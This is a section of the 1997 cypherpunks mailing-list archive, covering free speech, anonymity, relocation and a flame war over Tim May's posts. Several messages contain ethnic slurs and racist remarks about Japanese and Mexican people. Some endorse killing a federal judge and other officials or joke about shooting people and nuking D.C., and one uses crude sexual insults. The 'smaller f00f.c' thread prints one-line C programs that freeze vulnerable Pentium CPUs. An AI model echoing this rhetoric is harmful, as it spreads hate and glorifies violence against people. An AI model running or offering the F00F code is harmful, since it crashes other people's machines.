>      interests of commercial corporate giants, through their
>      mouthpiece, the National Association of Broadcasters. These are
>      the pirates, who have stolen the airwaves from the American
>      people, and who represent corporate interests valued at more than
>      60 billion dollars.

>      The legal team welcomes the opportunity to have a court identify
>      the real pirates of the airwaves -- not the thousands of
>      microradio broadcasters who seek to communicate with the people of
>      their communities, but rather the billionaire commercial interests
>      that control the airwaves as if they own them.

  We have criminals running the government, and pirates running the
corporations. What should our role, as citizens, be?
  I submit that our role in society is to support the organizations
(government, corporate, secular, religious...ad infinitum) which will
serve our best interests in the process of serving their own.
  I further submit that the Globalization of society and government
brings to life the concept that 'no man is an island,' and that it
is no longer possible for us to support discrimination against, or
oppression of, any individual or group of individuals without it
coming back to haunt us much more quickly than in the past.

  The recent initiative by the US, Candada and Mexico, in conjunction
with one another, to seek out 'bad' information/behavior in the health
area on the Internet, is but one example of those who are thinking
locally and acting globally.
  i.e. - If Canucks support legislation which will 'stick it to the
Spics,' they will find themselves freezing to death because of a ban
on jalopenos because of unsupported health claims by the Mexicans 
that jalapenos are 'good for you.'

  It is imperative that those of us concerned with the development
and regulation of the Internet resist falling into the same sense
of fatalism that has led us to allow the government and corporations
to lead us into narrower and narrower chutes which separate us into
feeding pens designed to turn us into docile consumers of spoon-fed
government and corporate fascism.
  We need to make every attempt to keep the Internet a form of free-
market socialism where 1 Byte == 1 Byte, no matter whether it is a
Swedish byte, a communist byte, an Afro-American byte, a liberal
byte, a gay byte, a Marv Alpert bite, etc.

  The minute that a Holocaust byte becomes of more or less inherent
value or righteousness than an anti-Holocaust byte, then we enter 
the same quagmire which is suffocating and oppressing the established
forms of government and society.
  We have allowed the mediums of politics and social customs to turn
our world into a place where there is a difference of value in a
symbol of currency, such as a dollar, which is dependent upon whether
it is in a rich man's pocket, a poor man's pocket, a government pocket,
a church pocket, etc.
  We have allowed ourselves to be sucked into the belief that we are
separate individuals, separate nations, and that we can gain by taking
from others. This is true, to a certain extent, as long as we remain
prisoners of local geographical borders, but it will be less so in
a global society. 

  Who is the enemy?
  The enemy is whoever takes away your freedom. The enemy is whoever
takes away my freedom. The enemy is whoever takes away our neighbor's
freedom, or the freedom of strangers throughout our global community.
  The same applies to privacy, free speech, money, dignity, and a 
host of other things which are basic to our personal and group liberty.

  Who is our friend and ally?
  It is whoever mirrors the web site which is banned/stolen from us,
whether they agree or disagree with our beliefs and goals. It is the
anonymous remailer operator who replies to the anti-remailer lies
and diatribes I send through their system, rather than blocking them.
It is the person who attacks the organizations that seek to censor
or ban our individual beliefs and opinions, even while attacking
our beliefs and opinions in expressing their own.

  Freedom is our friend. Censorship is our enemy.

George Spelvin 
(Mein Fuhrer--and nobody else's!)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <remailer@htp.org>
Date: Sat, 15 Nov 1997 01:56:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mad as Hell
Message-ID: <19971114173500.28409.qmail@nsm.htp.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Blanc wrote:
>Tim May wrote:
>
>>Colorado state Senator Charles Duke, also in the studio audience,
>>spoke about the 10th Amendment Sovereignty Resolution, a modern
>>version of Magna Carta designed to force a constitutional showdown
>>with the federal government. 
>
>This sounds interesting!  This is what I had in mind, in that other thread
>about "What Will Revolution Look Like"

Be wary of the faux freedom advocates who hide behind the 10th.  Duke and
his ilk seek to pull the rug out from under the feds so as to impose their
own version of law on their "constituents": CDA-morality rammed down the
throats of hapless citizens living within the wrong borders.

In many cases, State Sovereignty is just another phrase for the "Petty
Bureaucrats Reempowerment Act": moral dictators hiding behind the flag
of freedom.

As for me, I'll take Individual Sovereignty over State Sovereignty on
any day.  The 9th Amendment states:

 "The enumeration in the Constitution of certain rights shall not be
  construed to deny or disparage others retained by the people."

I leave it as an exercise for the reader to determine what those
"others retained by the people" are.  (hint: I'm not talking about
Civil Rights)

>(In a silly mood, I could see a gathering of such supporters in a large,
>crowded courtroom, all wearing T-shirts saying, "It's *ShowTime* !!!" )

Given the public interest in Court TV and the OJ trials, it seems the US
justice system has become a form of entertainment.  Nothing wrong with
wearing a T-shirt that states the obvious.

How about an interactive TV show called "Kangaroo Court" that lets the
viewers at home be the jury?  "Press 1 to fry him, Press 2 for a slap
on the wrist, Press 3 for ... "

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 15 Nov 1997 01:16:29 +0800
To: cypherpunks@toad.com
Subject: Pointer?
Message-ID: <199711141659.RAA14248@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



I would like a pointer to the best source of information in regard
to export laws about PGP.
Please send the information privately encrypted to the key below.
(my address is included in the key)

Thanks

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQENAzLxHkoAAAEH/2dyJjKwOGNNWawJ6LOYjU1vuY/N0ZZ3DLg7wfF4wgGhSi7W
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aXZhY3ksIEluYy4gQ29ycG9yYXRlIEtleSA8cGdwQHBncC5jb20+iQCVAwUQMvEV
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0rIrq8heLg==
=/bSN
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 10:14:30 +0800
To: cypherpunks@Algebra.COM
Subject: Tim plans to kill a federal judge
Message-ID: <v03102814b092a6fc7e52@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:43 PM -0700 11/13/97, Neva Remailer wrote:

>Robert Hettinga wrote:
>>> If Tim and others fail to exercise their right to say what they
>>> believe, then it is likely those rights will be suspended in due
>>> time.
>>
>>Like I said before, it makes sense, but not because Foucault said
>>it. Broken clocks, and all that. Besides, Monty, I hate appeals to
>>authority almost as much as I hate ad honminae.

I just saw this, courtesy of Monty's reply.

This is really rich. Hettinga hates "ad hominae."

This from the guy who started this latest flame war with such choice
phrases as:

"Tim's Way Cool Latter-Day Farnham's-Freehold in the Santa Clara
mountains.... a bunch of "freedom fighters" like the one you fancy yourself
to be these days... instead of shoving your favorite Mac-10 up the nose of
every statist treehugger you bump into out there in lotusland.... you won't
have to clean the snot off the end of your
gunbarrel so often..."

Hettinga, heal thyself.

A comment or two on the rest of what Monty is saying:

>Are you asking me to use Foucault's line without giving him credit?
>That doesn't seem right to me.
>
>Foucault's essay was insightful and significantly influenced my point
>of view.  Not only does he deserve the credit, but mentioning his name
>may direct other interested readers toward his work.
>
>BTW, how much of Foucault have you actually read?  I am generally
>unfamiliar with his work, but I have a sinking feeling the same can be
>said for certain of his critics.
>
>It is easy to give French intellectuals a cursory reading and conclude
>that there is nothing there.  However, often there is quite a lot of
>something there, but it comes from people with a different
>intellectual tradition than our own so it is harder to understand.  An
>apparently absurd sentence is often a reference to a body of work with
>which we are not familiar.

By the way, the same can be said about the work of Heidegger, a thinker who
has had some influence on me. Whenever I cite anything Heidegger ever said,
I can count on some numbskull to parrot the "Heidegger was a Nazi" shtick.

(These same kind of folks use to automatically label anything Nietzsche
said as tainted because of the Nazi's later affinity for some of his works,
but the "rehabilitation" of Nietzsche has been largely successful, and N.
is of course now a hero of the Left. Whatever. Nietzsche was of course
neither a leftist nor a rightist...he was just who he was.)

Hettinga has admitted basic ignorance of Foucault, just as he backpedalled
furiously on the "Aurora" claims he made.

(about Hettinga's repeated, and loud, claims in recent days that I have
called for the death of a federal judge)

>Tim has repeatedly made it clear to the world that this was not his
>meaning.  What is your purpose in declaring otherwise?
>

Hettinga shows his true colors by repeating these lies over and over again.
I would not be at all surprised if he has forwarded carefully excerpted
fragments to his friendly FBI offices, hoping they'll make a move to
investigate me.

>In every other instance in which Tim has discussed capital punishment,
>it has been in the context of a trial.
>
>If OJ had committed a brutal murder in a state without the death
>penalty, say Massachusetts, and Tim said "OJ is guilty of a capital
>crime", would you conclude that he was calling for his murder?
>

I have, over the years, expressed my constitutional opinion about many
people whom I think have committed capital crimes. OJ, of course. And Lon
Horiuchi, the shooter at Ruby Ridge. And, if you check the archives, Tim
McVeigh. Fact is, many people have committed capital crimes. And I don't
particularly feel like paying my share of the $50-100K a year to keep them
well fed and housed at Club Fed, so I'd just as soon spend a quarter on a
rifle round and be done with them.

I don't have a clue who "Monty Cantsin" is, but his clear thinking makes it
kind of a shame he will remain a nym forever, unless he declares himself.

(No one, not even Vinge or Card, ever said nyms would carry the same
reputation capital True Names do. Maybe someday. But not in the foreseeable
future.)

>Clearly that would not be reasonable.  So why do you feel the meaning
>changes when "OJ" is substituted for "The judge"?  Perhaps you harbor
>latent urges to murder our public officials and wish to draw attention
>from yourself by pointing the finger at Tim.  You seem to be talking
>about it more than anybody else.
>

Indeed. Hettinga keeps quoting this "Tim plans to kill a federal judge"
mantra so much that I'd better rename the thread to this just to keep
Hettinga happy. There, it's done.

>Incidentally, it is well documented that in the 1980s, the USG had
>detailed plans for mass arrests of dissident citizens.  Ten army camps
>had been selected for this purpose.  The plan was to be executed in
>the event the country invaded Nicaragua.  The USG has incarcerated
>masses of U.S. citizens without trial at least twice during the 20th
>century.
>

Yep. And to show that I am not the jingoist Ito presumes I am, arresting
and imprisoning those of Japanese descent without due process was, of
course, a capital crime.

Had I been a Japanese-American, deprived of my liberty for several years,
with no evidence that I had committed a crime, and with my property
forfeited to the government (often for failure to pay taxes--duh!!!!), I'd
have advocated the death penalty for those who falsely imprisoned me and
stole my land.

But most Jap immigrants were wimps.
....
>Perhaps it is your turn to crack open a book and find the reference.
>I would be quite interested (and surprised) if you can substantiate
>your claim.

Hettinga doesn't bother with research. He just shoots from the hip. He
concentrates on _style_ over substance. Must be his liberal arts training.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 10:18:29 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <v0310280fb092516361eb@[207.167.93.63]>
Message-ID: <v03102815b092a7a1a4ec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:47 PM -0700 11/14/97, Joichi Ito wrote:

>I'm sorry, but a racial remark is a racial remark. I never said it wasn't
>funny and I never said this guy didn't deserve it. But what you said
>was racist, no doubt about it, and even if they are funny, I personally
>think that racial jokes are stupid and cheap.

And where was there any mention of "race"? If a Chinese person made the
same joke about Nakatuji-san's "You send money, I send Misty" nonsense,
would this be "racist" (or "racialist," in your parlance)? How about if a
Pole made the same joke about a Ukrainian, or a Swede, or a German?


>On and by the way, I actually didn't think your message was very funny,
>and I don't see how you can argue that I shouldn't brand you a rascist
>just because you thought you were funny and the guy deserved it.
>
> - Joi

I really don't care if you found it funny or not.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 10:30:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
Message-ID: <v03102816b092a92800d7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:54 PM -0700 11/14/97, Anonymous wrote:

>Tim May's post seems funny to you?  Not a racist comment?
>
>His imitation of a Japanese accent is purely offensive.  Paul, would
>you feel comfortable offering this kind of "humor" in a gathering which
>included Japanese visitors, perhaps potential customers?  That comment
>about kicking Japan's butt would really be humorous, wouldn't it?

Seems to me that people imitate the accents of others all the time. I just
saw Eddie Griffin on HBO, "Voodoo Child," doing some dead-on imitations of
honkeys, Brits, and other blacks. So?

>It is astonishing that people like you and William Geiger, who apparently
>make their living as consultants, feel so comfortable publicly approving
>racist comments directed against the Japanese.  Does William expect ever
>to work with a Japanese customer, after suggesting that Truman should
>have dropped additional atomic bombs on Japan?

Their likely clients don't given one whit what comments they may have made
on mailing lists. Hell, their clients don't even care if they're
card-carrying members of the KKK.

>Even if you share Tim May's lack of moral constraint, you presumably do
>not also share his wealth.  Pragmatic considerations alone should make
>you reluctant to be an apologist for racist comments, or in William's
>case to compound the error with shockingly offensive remarks of his own.

Utter nonsense. Business clients don't care. Nor do the Japs care, as they
have made vastly more racist remarks every day of every year for the past
half century or more.

Sensitive flowers such as yourself need to move out of places like
Amsterdam and get with the program.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frederick G.M. Roeber" <dev-null@netscape.com>
Date: Sat, 15 Nov 1997 10:54:16 +0800
To: cypherpunks@toad.com
Subject: CH (Was: Scared of US; Where to relocate?)
In-Reply-To: <199711121431.PAA10956@basement.replay.com>
Message-ID: <346D0ACC.19BD7A86@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Switzerland jumps to mind for points 1-3: stable politically, good
economy, and first class medical.  There is a job market, but they're
very restrictive about letting people in, particularly if you might want
a job that a Swiss would do.  It helps if you're rich.

That every reservist has a machine gun at home is well known, but I
don't know what restrictions would be placed on an immigrant.  One of
the safest places I've been, though.

"[American] Bill of Rights" type freedoms may not be as enshrined as in
the US, but on the other hand they often take a more pragmatic aproach
to issues (like drugs).

The taxes are high, as is the cost of living.  There are strong social
programs just about everywhere.  It's landlocked.  Consumerism isn't as
developed there, which translates to poor service and bad selections.

Not perfect, but nice.  I'd feel a lot happier raising kids there than
here in the US.
-- 
Frederick G.M. Roeber
My e-mail address is "roeber," not "dev-null."  Anti-spam thing..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 15 Nov 1997 17:37:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: This judge needs killing
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.971114182550.229A@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >Another judge who has richly earned the death penalty.
> 
> This stifling of free speech, by both state and corporate interests, is a
> trend spreadingl like wildfire in the Western world.

Indeed, it is more and more the case that I see opinions in officials and 
members of the public that would be comically stupid, if they did not 
infringe so far on the rights of others. There are many reasons for this, 
mostly rooted in the controlled media, education as well, to choose any 
old example, the use in schools of the word "wrong" to mean "illegal" 
restricts the vocabulary of children in such a way as to encourage the 
synonymity of the two words, eg. If the govt. says it`s wrong it is wrong, 
regardless of the ethical arguments. Even seemingly intelligent adults 
fail to make the distinction between legality/illegality and right/wrong.
I may be ranting here, but whenever I get into discussion about this I am 
reminded of the stubborn behaviour of many acquaintances of mine, even some 
fairly intelligent family members who, given the chance, would restrict 
the speech of others to what was deemed "appropriate", this in turn leaves 
me ranting and frustrated because I cannot get away with putting these 
people up against a wall and taking the appropriate action with a .45,
which, I can assure you, would relieve a great deal of stress.

> Libel, slander, defamation, damage, incitement, sedition, and obscenity
> cases are squelching free speech. Publishers are held liable for the words
> of others, and even distributors are held liable.

Indeed, Libel is merely an official way of recovering losses incurred due 
to the stupidity of the general public, if I publish a defamatory and 
unpleasant story about Tim in a newsgroup, he can sue me because of the 
damage done to his reputation, of course, only stupid members of the 
public believe unfounded and referenceless (is that a real word???? ;-)) 
defamatory stories about others, and the more people that believe a 
story, the higher the compensation required, hence, it can be shown that 
the relative size of libel case settlements is inversely proportional to 
the average IQ of the general public ;-)....

> (Hey, if the Paladin case withstands Supreme Court scrutiny and his upheld,
> look for the Cypherpunks list node distributors to face criminal charges.)

Looks like it`s about time I set up majordomo on my other acct and 
started running a node, lets see what UK law has to say.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 15 Nov 1997 02:22:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711141755.SAA20812@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin wrote:

> Anonymous <anon@anon.efga.org>
> >This illustrates what a liability the poster has become to the
> >cypherpunks.  The group is becoming just another militia front,
> >identified with racism and white supremacy, applauding violent murder
> >of government agents, one step from applauding the Oklahoma killings.
> >Its original purpose all but forgotten, the list has died, poisoned
> >by the hatred flowing from its leader.
> 
> What would be the most effective way of managing the problem you
> perceive?
> 
> Probably by writing the kinds of articles you would like to see on the
> list.

If you don't speak up when someone says something objectionable, you are
implicitly condoning it.  Silence gives consent.  How many people have
objected to Tim May's racist comments?  Only one or two.  How many objected
when William Geiger suggested that more nuclear bombs should have been
dropped on Japan?  None.  How many have objected to the notion that
residents of Washington, D.C. should be killed?  Hardly any.

At one time the cypherpunks stood for freedom of speech and protection of
privacy.  Today they stand for guns, violence, threats of terrorism and
murder, racism, homophobia, jingoism.

It's ironic to see that the kind of off-topic, flaming, irrelevant
posts which have caused such consternation in the past are now the norm.
Reasonable people have been largely driven off the list, leaving it to
supporters of violence and hate.

The sad thing is, this is all unnecessary.  The original conception was
that cryptography would allow people to protect the privacy of voluntary
interactions.  Laws forbidding voluntary transactions will be difficult
or impossible to enforce.  We will move into a world where there is far
more liberty and freedom for everyone.

There is no need to blast government agents' heads open.  There is no
need to nuke D.C., or Japan.  There is no need to disparage people of other
races and cultures.

Step back from this immersion in a culture of violence.  Draw the cloak
of privacy about your actions.  That is the true cypherpunk way.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Sat, 15 Nov 1997 09:14:47 +0800
To: cypherpunks@toad.com
Subject: Ataka Dorn
Message-ID: <199711150104.TAA01930@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous screamed:
> Tim May writes:
  <stuff>
 
> You admit here that you've said you hope to see D.C. nuked.
> 
> Do you really hope that D.C. gets nuked?  Do other list readers agree?
> How many people would this kill?  Over half a million live in the city
> proper, with millions more in the surrounding areas.  You have now said
> that you would hope to see many of these millions of people killed.

  Are you preparing this testimony for the trial, or for the press?
I'd be more than happy to kick in some leftover plutonium for you to
plant in Tim's home, if you plan on setting him up after I've finished
my...uuhhh...home project.
 
> It is this kind of support for depraved violence which has poisoned
> discourse on this mailing list.  It is unconscionable to support such
> an act of cold-blooded terrorism.

  Most of the "poison" seems to be coming from Tim's detractors, chief
of whom is yourself, at present. Why don't you try limiting yourself
to 10,000 words of ranting and finger-pointing for every "Nuke DC"
statment Tim makes?
 
> You're not even the worst.  Other posters have supported this kind of
> sickening violence even more openly.  No one complains.  Apparently
> everyone with an ounce of moral sense has left the list long ago.

  Please give the rest of us credit for being self-willed individuals
who are perfectly capable of promoting our own brand of sickening
violence, rather than just going along with the suggestions that
Tim makes in our late-night secret meetings where we discuss the
our plans for the overthrow of anarchy in the world.

> You seem to think that the only problem with Waco is that the wrong
> innocents were killed.  You have no problem taking out innocents
> in Washington D.C. if it lets you get at your enemies.  You are no
> different from the agents who killed the men, women and children in Waco.
> You have no right to set yourself apart from them.  You are as ruthless
> and violent as the worst of them.

  As Robert Hettinga stated in a previous post, I think that your
constant rants about innocent childen betray some kind of sick 
fixation on them. Please try to keep your hands away from your
private body parts when thinking about them. That might help.
 
> This list reeks of death and violence.  Apparently there is no problem
> which can't be solved by killing.  Kill the innocents of D.C.  Kill the
> children in the day care center in Oklahoma City.  Drop more bombs on
> Japan.  Cheer the cold-blooded murder of a government agent.  Kill the
> children who scrawl graffiti on your mailbox.

  Boy, now I'm having problems keeping my hands away from _my_ private
parts. Back in a minute...

... 
> Of course you have the right to post what you like.  But when you spew
> garbage, I have the right to say it stinks.  It seems that other posters
> have lost their sense of smell.  They say that's what happens when you
> spend your time wallowing in sewage.

  You seem to be the one both pumping most of the sewage and doing
most of the wallowing in it. Of course, you're just groping around
in it looking for 'bad' people, aren't you? It's not like you get
cheap, vicarious thrills dwelling on these kinds of topics.
  When you testify in court, or give your interviews to the press,
remember to keep your hands tucked in your armpits. Folding them
together on your lap might prove to be too much of a temptation.

TruthMangler
  BTW, thanks for those pictures of Princess Di's death scene that
you sent me. Great closeups!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 15 Nov 1997 05:28:46 +0800
To: jim@mentat.com
Subject: Re: smaller f00f.c
In-Reply-To: <9711141643.AA18973@mentat.com>
Message-ID: <199711142008.UAA05152@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jim Gillogly <jim@mentat.com> writes: (Jim Gillogly)
> Adam says:
> > (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */
> > 
> > Compiled with gcc.
> 
> long main=0xc8c70ff0;	/* also gcc; 21 chars, and not my invention */
> Without the "long" you get a warning, but it compiles anyway... 16 chars.

Wow!  Completely out-classed :-)

I did try this one in my efforts:

main="\360\017\307\310";

which compiles, but obviously doesn't work.

So... I see the light now: you can write var=5; and it'll assume int,
and so if you do main=5; it will create asm label _main against a
memory location initialised to that constant ... due to lack of type
checking, that'll make the linker happy and voila.  Excellent.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 15 Nov 1997 10:18:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: How anonymous? (fwd)
Message-ID: <199711150214.UAA05543@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 14 Nov 1997 20:36:59 -0500
> From: Anonymous <anon@anon.efga.org>
> Subject: How anonymous?

> > It seems that if Dick has a certain vocabulary,
> > uses a certain sentence structure, etc., and
> > regularly posts using a nym, that this form and
> > content could be traced to Dick, so the likelihood
> > of the post coming from him and not Jane would
> > be that much increased.
> 
> This is true.  Probably most people know who I am.

Most people don't care who you are.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 13:05:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711150345.EAA06240@basement.replay.com>
Message-ID: <v03102818b092c617ccff@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:45 PM -0700 11/14/97, Anonymous wrote:
>Joichi Ito, <jito@eccosys.com>, writes:
>> And not all Japanese are racist pigs. And before you flank me,
>> I take back my previous remark where I insinuated that Americans
>> were racist. Not all Americans are racists. Just the stupid ones are.
>
>This is not true.  Tim May is not stupid.  He is insensitive and bigoted,
>violent and dangerous.
>
>He is certainly a racist, and believes in the superiority of the white race.
>
>But he is not stupid.

Interestingly, I don't even believe there is such a thing as "the white
race." The 19th century classification of homo sapiens into Negroid,
Caucasoid, and Mongoloid, the putative "three races," is without merit.

Based on certain external characteristics, there are at least a dozen
"races." And the concept is largely meaningless. Italians are as "far" from
Swedes as, say, Thais are from Han Chinese. The point being....

The point being  I don't care what race a person is officially classed as
(and yet I had to racially classify job applicants when I was at Intel,
courtesy of the EEOC rules on quotas).

I call a spade a spade.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 12:40:16 +0800
To: ichudov@Algebra.COM (Igor Chudov)
Subject: Re: This judge needs killing
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <v03102819b092c8404f19@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:26 PM -0700 11/14/97, Igor Chudov @ home wrote:
>Tim May wrote:
>> (Hey, if the Paladin case withstands Supreme Court scrutiny and his upheld,
>> look for the Cypherpunks list node distributors to face criminal charges.)
>
>I do not think that it is entirely impossible either, but the likely
>scenario is that the government may first try to harass us and attempt
>the criminal charges only after some time.
>
>In any case, the present structure of cypherpunks list is entirely
>unacceptable. We have only three working nodes. This is bad since all
>of these nodes reside in the US and can be taken out easily.
>
>Besides government raids, we are all too susceptible on things like
>internet providers kicking us out, hard drives failing, and so on.
>Theree nodes is not a good redundancy.
>
>I plead foreign cypherpunks to at least establish backup nodes that could
>be turned on should anything happen to the US-based ones.

I said this several years ago and I'll say it again: the Usenet is already
set up for multinational, distributed, essentially uncensorable
communication.

I used to try to copy many of my posts to alt.cypherpunks shortly after it
was created, right after the the Great February End of Toad.com, but in
recent months I haven'te bothered (mainly because no interesting
communication was occurring in the alt.cypherpunks arena).

One need only look to Usenet for a robust, automatically (and
automagically) distributed system.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 15 Nov 1997 09:47:07 +0800
To: cypherpunks@cyberpass.net
Subject: How anonymous?
Message-ID: <145e152a12d12c409f67fd9e4aaa33f4@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



> It seems that if Dick has a certain vocabulary,
> uses a certain sentence structure, etc., and
> regularly posts using a nym, that this form and
> content could be traced to Dick, so the likelihood
> of the post coming from him and not Jane would
> be that much increased.

This is true.  Probably most people know who I am.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Nov 1997 10:30:52 +0800
To: cypherpunks@toad.com
Subject: Re: This judge needs killing
In-Reply-To: <v0310280bb092291ceb73@[207.167.93.63]>
Message-ID: <36s7Fe20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Even here on Cypherpunks we see toadies like Bob Hettinga fretting that our
> words are going too far, that we must learn to police ourselves or the
> police will be forced to do so.

Don't forget C2Net emplpoyess "Lucky Green" and Greg Broils spreading lies
about their employer's censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 15 Nov 1997 10:00:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <62c0ce046ea812e50882fefc2a6c5667@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
> >There are RC4 sourcecode in ftp.replay.com.
> >but, Is it  same RC4 developed RSADSI ?
> >
> 
> It am developed.
> 
> You go back where you came. You go back hotmail. We tired your stupid
> questions on RC4 and your Misty posts.
> 
> Sayonara!
> 
> (And they wonder why we kicked Japan's butt.)


Paul Bradley <paul@fatmans.demon.co.uk> writes:

> As for white supremacy, look elsewhere, I think you`ll 
